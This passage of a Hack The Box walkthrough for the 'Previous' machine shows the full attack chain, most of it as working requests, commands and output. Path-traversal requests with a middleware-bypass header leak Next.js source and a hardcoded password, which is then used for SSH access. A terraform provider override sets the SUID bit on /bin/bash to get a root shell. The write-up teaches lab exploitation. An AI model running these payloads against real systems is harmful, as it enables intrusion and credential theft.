"stale":300,"revalidate":60,"expire":3600},"hours":{"stale":300,"revalidate":3600,"expire":86400},"days":{"stale":300,"revalidate":86400,"expire":604800},"weeks":{"stale":300,"revalidate":604800,"expire":2592000},"max":{"stale":300,"revalidate":2592000,"expire":4294967294}},"cacheHandlers":{},"cssChunking":true,"multiZoneDraftMode":false,"appNavFailHandling":false,"prerenderEarlyExit":true,"serverMinification":true,"serverSourceMaps":false,"linkNoTouchStart":false,"caseSensitiveRoutes":false,"clientSegmentCache":false,"preloadEntriesOnStart":true,"clientRouterFilter":true,"clientRouterFilterRedirects":false,"fetchCacheKeyPrefix":"","middlewarePrefetch":"flexible","optimisticClientCache":true,"manualClientBasePath":false,"cpus":1,"memoryBasedWorkersCount":false,"imgOptConcurrency":null,"imgOptTimeoutInSeconds":7,"imgOptMaxInputPixels":268402689,"imgOptSequentialRead":null,"isrFlushToDisk":true,"workerThreads":false,"optimizeCss":false,"nextScriptWorkers":false,"scrollRestoration":false,"externalDir":false,"disableOptimizedLoading":false,"gzipSize":true,"craCompat":false,"esmExternals":true,"fullySpecified":false,"swcTraceProfiling":false,"forceSwcTransforms":false,"largePageDataBytes":128000,"turbo":{"root":"/app"},"typedRoutes":false,"typedEnv":false,"parallelServerCompiles":false,"parallelServerBuildTraces":false,"ppr":false,"authInterrupts":false,"webpackMemoryOptimizations":false,"optimizeServerReact":true,"useEarlyImport":false,"viewTransition":false,"staleTimes":{"dynamic":0,"static":300},"serverComponentsHmrCache":true,"staticGenerationMaxConcurrency":8,"staticGenerationMinPagesPerWorker":25,"dynamicIO":false,"inlineCss":false,"useCache":false,"optimizePackageImports":["lucide-react","date-fns","lodash-es","ramda","antd","react-bootstrap","ahooks","@ant-design/icons","@headlessui/react","@headlessui-float/react","@heroicons/react/20/solid","@heroicons/react/24/solid","@heroicons/react/24/outline","@visx/visx","@tremor/react","rxjs","@mui/material","@mui/icons-material","recharts","react-use","effect","@effect/schema","@effect/platform","@effect/platform-node","@effect/platform-browser","@effect/platform-bun","@effect/sql","@effect/sql-mssql","@effect/sql-mysql2","@effect/sql-pg","@effect/sql-squlite-node","@effect/sql-squlite-bun","@effect/sql-squlite-wasm","@effect/sql-squlite-react-native","@effect/rpc","@effect/rpc-http","@effect/typeclass","@effect/experimental","@effect/opentelemetry","@material-ui/core","@material-ui/icons","@tabler/icons-react","mui-core","react-icons/ai","react-icons/bi","react-icons/bs","react-icons/cg","react-icons/ci","react-icons/di","react-icons/fa","react-icons/fa6","react-icons/fc","react-icons/fi","react-icons/gi","react-icons/go","react-icons/gr","react-icons/hi","react-icons/hi2","react-icons/im","react-icons/io","react-icons/io5","react-icons/lia","react-icons/lib","react-icons/lu","react-icons/md","react-icons/pi","react-icons/ri","react-icons/rx","react-icons/si","react-icons/sl","react-icons/tb","react-icons/tfi","react-icons/ti","react-icons/vsc","react-icons/wi"],"trustHostHeader":false,"isExperimentalCompile":false},"htmlLimitedBots":"Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview","bundlePagesRouterDependencies":false,"configFileName":"next.config.mjs"}

process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)

require('next')
const { startServer } = require('next/dist/server/lib/start-server')

if (
  Number.isNaN(keepAliveTimeout) ||
  !Number.isFinite(keepAliveTimeout) ||
  keepAliveTimeout < 0
) {
  keepAliveTimeout = undefined
}

startServer({
  dir,
  isDev: false,
  config: nextConfig,
  hostname,
  port: currentPort,
  allowRetry: false,
  keepAliveTimeout,
}).catch((err) => {
  console.error(err);
  process.exit(1);
});
  • Based on the output of the server.js, I built a summary of potential directories:
1. `/app`
2. `/app/.next`
3. `/app/node_modules`
4. `/app/public`
5. `/app/pages`
6. `/app/pages/api`
7. `/app/lib` or `/app/utils`
8. `/app/prisma` (optional if using Prisma)
9. `/app/styles`
10. `/app/.env`
11. `/app/migrations` (optional if using database migrations)
12. `/app/public/_next`
13. `/app/.next/cache`
14. `/app/next.config.mjs`
  • With this information, I looked for more default or usually available files like the package.json.
GET /api/download?example=../../../app/package.json HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • The response was actually helpful because it revealed the dependencies like next-auth.
  • This could have given me a hint for more potential directories to look at.
  • Besides that I also noticed typescript which is often used for authentication database to store credentials.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:33:47 GMT
Content-Type: application/zip
Content-Length: 587
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/package.json
ETag: "10ykmnkceex1j4"

{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "@tailwindcss/postcss": "^4.1.3",
    "@tailwindcss/typography": "^0.5.16",
    "@types/mdx": "^2.0.13",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "postcss": "^8.5.3",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "tailwindcss": "^4.1.3"
  },
  "devDependencies": {
    "@types/node": "22.14.0",
    "@types/react": "19.1.0",
    "typescript": "5.8.3"
  }
}

  • 'mentats' suggested another location to check, which turned out to be the turning point for this pentest.
  • The path /app/.next/server/pages/api/ contained the download.js file.
GET /api/download?example=../../../app/.next/server/pages/api/download.js HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:45:17 GMT
Content-Type: application/zip
Content-Length: 1513
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/server/pages/api/download.js
ETag: "6ia71hjw4t45p"

"use strict";(()=>{var e={};e.id=147,e.ids=[147],e.modules={1845:(e,t,n)=>{n.r(t),n.d(t,{config:()=>f,default:()=>l,routeModule:()=>p});var r={};n.r(r),n.d(r,{default:()=>s});var i=n(3480),a=n(8667),o=n(6435);let u=require("fs");var d=n.n(u);function s(e,t){let{example:n}=e.query;if(!n||Array.isArray(n)){t.status(400).json({error:"Invalid filename"});return}let r=`${process.cwd()}/public/examples/${n}`;if(!d().existsSync(r)){t.status(404).json({error:"File not found"});return}let i=d().readFileSync(r);t.setHeader("Content-Type","application/zip"),t.setHeader("Content-Disposition",`attachment; filename=${n}`),t.setHeader("Content-Length",i.length),t.send(i)}let l=(0,o.M)(r,"default"),f=(0,o.M)(r,"config"),p=new i.PagesAPIRouteModule({definition:{kind:a.A.PAGES_API,page:"/api/download",pathname:"/api/download",bundlePath:"",filename:""},userland:r})},3480:(e,t,n)=>{e.exports=n(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,t)=>{Object.defineProperty(t,"M",{enumerable:!0,get:function(){return function e(t,n){return n in t?t[n]:"then"in t&&"function"==typeof t.then?t.then(t=>e(t,n)):"function"==typeof t&&"default"===n?t:void 0}}})},8667:(e,t)=>{Object.defineProperty(t,"A",{enumerable:!0,get:function(){return n}});var n=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})}};var t=require("../../webpack-api-runtime.js");t.C(e);var n=t(t.s=1845);module.exports=n})();
  • Knowing that this path existed allowed me to search for auth.ts and for the [...nextauth].js file.
  • Both are commonly used to store credentials for Next.js applications.
  • And in this case the [...nextauth].js contained the password for jeremy.
GET /api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:39:05 GMT
Content-Type: application/zip
Content-Length: 1537
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/server/pages/api/auth/[...nextauth].js
ETag: "ihx6eiwskd47b"

"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
UsernamePassword
jeremyMyNameIsJeremyAndILovePancakes
  • This allowed me to access the target machine via SSH and grab the user.txt.
┌--(kali@kali)-[~/HTB/Previous]
└-$ SSH jeremy@10.10.11.83
The authenticity of host '10.10.11.83 (10.10.11.83)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.SSH/known_hosts:48: [hashed name]
    ~/.SSH/known_hosts:95: [hashed name]
    ~/.SSH/known_hosts:184: [hashed name]
    ~/.SSH/known_hosts:185: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.83' (ED25519) to the list of known hosts.
jeremy@10.10.11.83's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Aug 23 08:46:37 PM UTC 2025

  System load:  0.01              Processes:             215
  Usage of /:   68.5% of 8.76GB   Users logged in:       0
  Memory usage: 8%                IPv4 address for eth0: 10.10.11.83
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


Last login: Sat Aug 23 20:46:37 2025 from 10.10.16.36
jeremy@previous:~$

Post-Exploit Enumeration

  • First step was to rule out the obvious checks like group memberships, sudo capabilities and home directory content.
  • Jeremy user was allowed to execute /usr/bin/terraform with the option of -chdir\=/opt/examples apply using sudo.
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply
  • According to this, I checked /opt and found the Terraform related structure and files.
jeremy@previous:/opt$ ls -la
total 20
drwxr-xr-x  5 root root 4096 Aug 21 20:09 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
drwx--x--x  4 root root 4096 Aug 21 20:09 containerd
drwxr-xr-x  3 root root 4096 Aug 23 20:49 examples
drwxr-xr-x  3 root root 4096 Aug 21 20:09 terraform-provider-examples
  • His home directory conveniently contained a .terraformrc which described the location of the example files for Terraform.
jeremy@previous:~$ ls -la
total 40
drwxr-x--- 5 jeremy jeremy 4096 Aug 23 20:35 .
drwxr-xr-x 3 root   root   4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root   root      9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy  220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy  807 Aug 21 17:28 .profile
drwxr-xr-x 2 root   root   4096 Aug 23 20:35 .terraform.d
-rw-rw-r-- 1 jeremy jeremy  150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root   jeremy   33 Aug 23 19:01 user.txt
jeremy@previous:~$ cat .terraformrc
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}

Privilege Escalation to root

Terraform Misconfiguration

  • Now the plan to abuse this misconfiguration was quite simple and straightforward.
  • I wanted to create my own examples files containing the payload to get executed in the context of root through sudo.
  • Because the directory within /opt was not writable to us, I moved to /tmp and created a terraform-provider-example file.
  • This hinted that I probably needed to override the environment variables.
  • Allowing me to set a different location for the malicious terraform.rc file by using exports.
jeremy@previous:/tmp$ cat terraform-provider-examples
#!/bin/bash
chmod u+s /bin/bash
jeremy@previous:/tmp$ chmod +x terraform-provider-examples
  • To achieve that I first took the content of the .terraformrc file inside the home directory of jeremy and pointed it to /tmp.
jeremy@previous:/tmp$ cat terraform.rc
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp"
  }
  direct {}
}
  • Then I made use of the environment variable of Terraform called TF_CLI_CONFIG_FILE to export /tmp/terraform.rc.
jeremy@previous:/tmp$ export TF_CLI_CONFIG_FILE=/tmp/terraform.rc
  • As the last step, all I had to do was execute the command using sudo, and it set the SUID bit on /bin/bash.
  • This allowed me to invoke /bin/bash -p as the user jeremy, which preserved the privileges during execution.
  • This is resulted in granting me a shell as root.
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
[sudo] password for jeremy:
|
| Warning: Provider development overrides are in effect
|
| The following provider development overrides are set in the CLI configuration:
|  - previous.htb/terraform/examples in /tmp
|
| The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
|
|
| Error: Failed to load plugin schemas
|
| Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message:
| Failed to read any lines from plugin's stdout
| This usually means
|   the plugin was not compiled for this architecture,
|   the plugin is missing dynamic-link libraries necessary to run,
|   the plugin is not executable by this process due to file permissions, or
|   the plugin failed to negotiate the initial go-plugin protocol handshake
|
| Additional notes about plugin:
|   Path: /tmp/terraform-provider-examples
|   Mode: -rwxrwxr-x
|   Owner: 1000 [jeremy] (current: 0 [root])
|   Group: 1000 [jeremy] (current: 0 [root])
| ..
jeremy@previous:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
jeremy@previous:~$ /bin/bash -p
bash-5.1#
  • The Non-Seasonal - Previous Machine on Hack-The-Box was now complete.

Hack-The-Box Previous Machine - Machine Completed